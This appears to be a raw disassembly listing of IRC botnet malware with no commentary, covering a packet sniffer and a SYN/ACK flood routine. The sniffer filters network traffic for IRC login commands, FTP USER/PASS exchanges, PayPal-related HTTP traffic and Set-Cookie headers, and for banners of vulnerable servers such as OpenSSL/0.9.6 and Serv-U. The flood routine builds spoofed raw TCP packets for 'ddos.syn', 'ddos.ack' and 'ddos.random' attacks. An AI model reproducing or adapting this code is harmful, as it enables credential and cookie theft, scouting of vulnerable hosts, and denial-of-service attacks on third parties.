		dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357D068h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
		dd 68FFFFFDh, 4357A0h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Bh, 434EB8h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 9468FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 578468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4ECCC504h, 34FF0043h, 434EA885h, 4C858D00h
		dd 68FFFFFDh, 435750h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43572468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2BDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AD0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AA0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A6C
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A38
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A04
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359CC


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435994
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 226DD3Dh
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5AFC68FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2770C07h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27709A8h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
